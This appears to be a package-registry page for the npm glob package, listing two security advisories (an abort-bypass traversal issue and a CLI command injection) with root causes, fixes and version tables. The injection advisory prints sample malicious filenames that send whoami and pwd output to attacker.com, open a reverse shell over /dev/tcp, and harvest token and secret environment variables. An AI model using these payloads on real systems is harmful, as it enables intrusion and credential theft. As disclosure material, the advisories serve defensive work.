NodeJS/glob/10.3.10


the most correct and second fastest glob implementation in JavaScript

https://www.npmjs.com/package/glob
ISC

2 Security Vulnerabilities

Glob: AbortSignal cancellation bypass allows post-timeout filesystem traversal

Published date: 2026-10-30T23:09:11Z
CVE: CVE-2026-118773
Links:

Summary

In glob 13.0.6, an aborted async walk rejects or emits an error but continues recursively reading directories in the background.

The root cause is that abort branches in src/walker.ts call cb() without returning. As a result, callers that rely on signal or AbortSignal.timeout() to bound glob traversal cost can still incur filesystem I/O and CPU work after the request has already been rejected.

Details

This was reproduced on glob v13.0.6 (commit e80cb38ae60d6cbff9e75f39032a994858994d35).

The README documents that the signal option cancels the glob walk. However, in src/walker.ts, the following methods call cb() when this.signal?.aborted is true but do not return:

  • GlobUtil.walkCB()
  • GlobUtil.walkCB2()
  • GlobUtil.walkCBSync()
  • GlobUtil.walkCB2Sync()

Example vulnerable pattern:

if (this.signal?.aborted) cb()

Because execution continues after cb(), the walker still reaches processor.processPatterns(), readdirCB(), and recursive walkCB2() calls.

The issue was directly demonstrated against v13.0.6. A source-history review shows the same missing-return pattern is present in tagged releases from v9.0.0 through v13.0.6.

The issue affects both glob() and globStream().

Recommended fix: Change each abort branch to return immediately:

if (this.signal?.aborted) return cb()

Proof of concept

Environment: - Linux x86_64 - Node.js v22.23.3 - npm 10.9.9 - glob 13.0.6

Reproduction steps:

  1. Install the affected package: npm init -y npm install glob@13.0.6

  2. Run the attached PoC: node poc/abort-continues-work.mjs

The PoC aborts after the first readdir() call, waits briefly, and counts how many more directory reads happen after the promise has already rejected.

Observed output on the vulnerable version:

{ rejection: Error: probe-abort, readdirCalls: 1365, readdirCallsAtReject: 5, readdirCallsAfterReject: 1360 }

Expected behavior: readdirCallsAfterReject should be 0.

A second PoC using AbortSignal.timeout() also reproduces the issue:

{ rejection: TimeoutError: The operation was aborted due to timeout, readdirCalls: 133, readdirCallsAtReject: 1, readdirCallsAfterReject: 132 }

The same test against a patched build with return cb() in the four abort branches stops immediately:

{ readdirCalls: 1, readdirCallsAtReject: 1, readdirCallsAfterReject: 0 }

Impact

This is an availability issue.

Applications that expose globbing over attacker-influenced patterns or attacker-controlled directory trees and use AbortSignal / AbortSignal.timeout() as a traversal budget can still perform significant filesystem I/O and CPU work after a request has already timed out or been canceled.

Repeated timed-out requests can stack background glob walks and degrade worker throughput or service availability.

No confidentiality or integrity impact was observed.

Affected versions: >= 9.0.0, <= 14.0.1 (64 affected versions) Show all vulnerable versions

glob CLI: Command injection via -c/--cmd executes matches with shell:true

Published date: 2025-11-17T17:38:56Z
CVE: CVE-2025-64756
Links:

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow: 1. User runs glob -c <command> <pattern> 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using shell: true 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands

Affected Component: - CLI Only: The vulnerability affects only the command-line interface - Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected - Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface: - Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File: ```bash mkdir testdirectory && cd testdirectory

Create file with command injection payload in filename

touch '$(touch injected_poc)' ```

Trigger Vulnerability: ```bash

Run glob CLI with -c option

node /path/to/glob/dist/esm/bin.mjs -c echo **/* ```

Result: - The echo command executes normally - Additionally: The $(touch injected_poc) in the filename is evaluated by the shell - A new file injected_poc is created, proving command execution - Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration: ```bash

Filename: $(curl -X POST https://attacker.com/exfil -d $(whoami):$(pwd) > /dev/null 2>&1)

touch '$(curl -X POST https://attacker.com/exfil -d $(whoami):$(pwd) > /dev/null 2>&1)' ```

Reverse Shell: ```bash

Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)

touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ```

Environment Variable Harvesting: ```bash

Filename: $(env | grep -E (TOKEN|KEY|SECRET) > /tmp/secrets.txt)

touch '$(env | grep -E (TOKEN|KEY|SECRET) > /tmp/secrets.txt)' ```

Impact

Arbitrary Command Execution: - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise: - Malicious PR adds files with crafted names to repository - CI pipeline uses glob -c to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack: - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use glob -c for file processing - Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems: - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning: - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems

Platform-Specific Risks: - POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing - Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation: - Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe - CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Affected versions: >= 11.0.0, < 11.1.0 (35 affected versions) Show all vulnerable versions
Secure versions: [1.1.0, 14.0.2, 14.0.3, 14.0.4, 14.0.5, 14.0.6, 2.0.7, 2.0.8, 2.0.9, 2.1.0, 3.0.0, 3.0.1, 3.1.0, 3.1.1, 3.1.10, 3.1.11, 3.1.12, 3.1.13, 3.1.14, 3.1.15, 3.1.16, 3.1.17, 3.1.18, 3.1.19, 3.1.2, 3.1.20, 3.1.21, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.9, 3.2.0, 3.2.1, 3.2.10, 3.2.11, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.2.8, 3.2.9, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.1.2, 4.1.2-beta, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.3.0, 4.3.1, 4.3.2, 4.3.3, 4.3.4, 4.3.5, 4.4.0, 4.4.2, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 5.0.0, 5.0.1, 5.0.10, 5.0.11, 5.0.12, 5.0.13, 5.0.14, 5.0.15, 5.0.2, 5.0.3, 5.0.4, 5.0.5, 5.0.6, 5.0.7, 5.0.9, 6.0.1, 6.0.2, 6.0.3, 6.0.4, 7.0.0, 7.0.1, 7.0.3, 7.0.4, 7.0.5, 7.0.6, 7.1.0, 7.1.1, 7.1.2, 7.1.3, 7.1.4, 7.1.5, 7.1.6, 7.1.7, 7.2.0, 7.2.2, 7.2.3, 8.0.1, 8.0.2, 8.0.3, 8.1.0]
Recommendation: Update to version 14.0.6.

176 Other Versions

Version License Security Released
14.0.6 BlueOak-1.0.0 2026-11-12 - 12:02 9 days
14.0.5 BlueOak-1.0.0 2026-11-11 - 18:20 10 days
14.0.4 BlueOak-1.0.0 2026-11-06 - 03:47 15 days
14.0.3 BlueOak-1.0.0 2026-10-28 - 04:08 24 days
14.0.2 BlueOak-1.0.0 2026-10-27 - 22:07 24 days
14.0.1 BlueOak-1.0.0 1 2026-10-27 - 22:00 24 days
14.0.0 BlueOak-1.0.0 1 2026-10-27 - 21:32 24 days
13.0.7 BlueOak-1.0.0 1 2026-11-06 - 03:54 15 days
13.0.6 BlueOak-1.0.0 1 2026-02-19 - 17:26 9 months
13.0.5 BlueOak-1.0.0 1 2026-02-17 - 16:25 9 months
13.0.4 BlueOak-1.0.0 1 2026-02-17 - 04:34 9 months
13.0.3 BlueOak-1.0.0 1 2026-02-12 - 18:51 9 months
13.0.2 BlueOak-1.0.0 1 2026-02-10 - 16:28 9 months
13.0.1 BlueOak-1.0.0 1 2026-02-03 - 17:51 10 months
13.0.0 BlueOak-1.0.0 1 2025-11-19 - 16:04 about 1 year
12.0.0 BlueOak-1.0.0 1 2025-11-17 - 17:10 about 1 year
11.1.0 BlueOak-1.0.0 1 2025-11-17 - 17:02 about 1 year
11.0.3 ISC 2 2025-06-12 - 20:23 over 1 year
11.0.2 ISC 2 2025-04-23 - 16:02 over 1 year
11.0.1 ISC 2 2025-01-10 - 06:57 almost 2 years
11.0.0 ISC 2 2024-07-08 - 22:16 over 2 years
10.5.0 ISC 1 2025-11-18 - 01:34 about 1 year
10.4.5 ISC 2 2024-07-09 - 08:15 over 2 years
10.4.4 ISC 2 2024-07-08 - 22:14 over 2 years
10.4.3 ISC 2 2024-07-06 - 04:04 over 2 years
10.4.2 ISC 2 2024-06-19 - 01:59 over 2 years
10.4.1 ISC 2 2024-05-24 - 06:01 over 2 years
10.4.0 ISC 2 2024-05-24 - 01:04 over 2 years
10.3.16 ISC 2 2024-05-21 - 19:14 over 2 years
10.3.15 ISC 2 2024-05-12 - 02:47 over 2 years
10.3.14 ISC 2 2024-05-09 - 14:52 over 2 years
10.3.13 ISC 2 2024-05-09 - 13:50 over 2 years
10.3.12 ISC 2 2024-03-28 - 16:13 over 2 years
10.3.11 ISC 2 2024-03-28 - 15:59 over 2 years
10.3.10 ISC 2 2023-09-27 - 05:59 about 3 years
10.3.9 ISC 2 2023-09-26 - 07:22 about 3 years
10.3.8 ISC 2 2023-09-26 - 06:10 about 3 years
10.3.7 ISC 2 2023-09-24 - 21:53 about 3 years
10.3.6 ISC 2 2023-09-23 - 00:52 about 3 years
10.3.5 ISC 2 2023-09-20 - 23:03 about 3 years
10.3.4 ISC 2 2023-08-30 - 22:45 about 3 years
10.3.3 ISC 2 2023-07-08 - 21:38 over 3 years
10.3.2 ISC 2 2023-07-08 - 00:18 over 3 years
10.3.1 ISC 2 2023-06-27 - 23:02 over 3 years
10.3.0 ISC 2 2023-06-21 - 19:07 over 3 years
10.2.7 ISC 2 2023-06-06 - 19:08 over 3 years
10.2.6 ISC 2 2023-05-20 - 20:55 over 3 years
10.2.5 ISC 2 2023-05-17 - 21:25 over 3 years
10.2.4 ISC 2 2023-05-15 - 04:45 over 3 years
10.2.3 ISC 2 2023-05-09 - 23:12 over 3 years